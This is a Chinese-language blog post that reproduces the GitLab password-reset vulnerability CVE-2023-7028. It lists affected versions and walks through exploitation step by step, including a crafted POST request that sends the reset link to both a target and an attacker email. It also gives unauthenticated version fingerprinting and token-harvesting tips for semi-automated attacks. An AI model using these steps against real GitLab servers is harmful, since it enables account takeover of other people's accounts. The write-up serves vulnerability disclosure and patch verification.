GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

admin 2024年1月12日19:43:41评论350 views字数 1592阅读5分18秒阅读模式

漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置 Gitlab 仅对可信地址开放。

漏洞利用条件

1、需获取系统已有用户注册邮箱地址

2、满足影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

复现过程

这里被找回邮箱为个人注册邮箱地址,真实环境中需先获取目标邮箱地址

访问找回密码页面:/users/password/new

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

填写被找回邮箱地址,然后点击抓包

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

修改请求包为:user[email][]=目标邮箱地址&user[email][]=攻击者邮箱地址

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

成功复现

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

其实这里看到收件人邮箱已经变为两个了

半自动化

关于自动化主要有两个坑点,第一是如何获取版本号,第二是在找回密码的阶段会需要有一个uauthenticity_token

下面针对上面2点提出解决办法:

1、获取版本

公开的一些获取版本的办法大多是需要鉴权的,这里分享一种不需要登录的办法

访问/assets/webpack/manifest.json

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

获取hash值去GitHub对比版本号
https://github.com/righel/gitlab-version-nse/blob/main/gitlab_hashes.json

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

可以发现版本是gitlab-ce 16.5.0

对比发现是正确的

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

2、authenticity_token获取

访问找回密码界面/users/password/new

查看源代码搜索authenticity_token即可

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

构造http请求包

POST /users/password HTTP/1.1
Host: xx.com
Origin: http://xx.com
Content-Type: application/x-www-form-urlencoded
Referer: http://xx.com/users/password/new8
Cookie: preferred_language=zh_CN; _gitlab_session=e00664e028c369cdd6dff19f6d7b76bf

authenticity_token=vJBEyoTkR10UJNhrFcoJOYftTHaxPj3MHVSJusNt85SyyZ60RajsS2RsgkMetn7hd_k891ZUNCdePjdW5uUW6w&user%5Bemail%5D%5B%5D=目标邮箱地址&user%5Bemail]%5D%5B%5D=攻击者邮箱地址

补充

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)
GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

Reference

https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions

GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

原文始发于微信公众号(刨洞安全团队):GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月12日19:43:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)http://cn-sec.com/archives/2387017.html

发表评论

匿名网友 填写信息